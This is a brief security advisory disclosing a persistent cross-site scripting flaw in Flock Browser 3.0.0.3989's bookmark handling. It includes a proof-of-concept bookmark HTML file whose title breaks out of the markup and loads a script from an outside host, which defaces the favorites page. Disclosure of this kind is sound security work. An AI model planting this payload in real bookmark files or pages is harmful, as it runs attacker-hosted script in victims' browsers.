######################################### Flock Browser 3.0.0.3989 Malformed Bookmark XSS Vendor URL: http://beta.flock.com/ Advisore: http://lostmon.blogspot.com/2010/08/flock-browser-3003989-malformed.html Vendor notify:NO exploits availables:YES #########################################
Flock is faster, simpler, and more friendly. Literally. It's the only sleek, modern web browser with the built-in ability to keep you up-to-date with your Facebook and Twitter friends.This browser version (3.0.0.3989) is based in a old chromium project Flock has a flaw that allows Cross-site scripting style attacks In bookmarks is has a Malformed bookmark title persistent xss when inport from other browsers a malformed bookmark or when add a new malformed bookmark or import a bookmark html file. ############################### Example Of Bookmark html file ############################### <!DOCTYPE NETSCAPE-Bookmark-file-1> <!-- This is an automatically generated file. It will be read and overwritten. DO NOT EDIT! --> <META HTTP-EQUIV="Content-Type" CONTENT="text/html; charset=UTF-8"> <TITLE>Bookmarks</TITLE> <H1>Menú Marcadores</H1> <DL><p> <DT><A HREF="http://www.mozilla.org" ADD_DATE="1282083605" LAST_MODIFIED="1282083638">"><script src='http://vuln.xssed.net/thirdparty/scripts/ckers.org.js'></A> </DL><p> #####################EOF################## It is a persintent script insercion and when the user click in the menu for view favorites page or access directly to favorites url this make a "defacement" of this page and them the user can´t access to favorites :) ( Url of favorites => chrome-extension://flock_people/favorites.html#p=1&v=all&o=0&s=title ) ################# €nd ####################### Atentamente: Lostmon (lost...@gmail.com) Web-Blog: http://lostmon.blogspot.com/ Google group: http://groups.google.com/group/lostmon (new) -- La curiosidad es lo que hace mover la mente....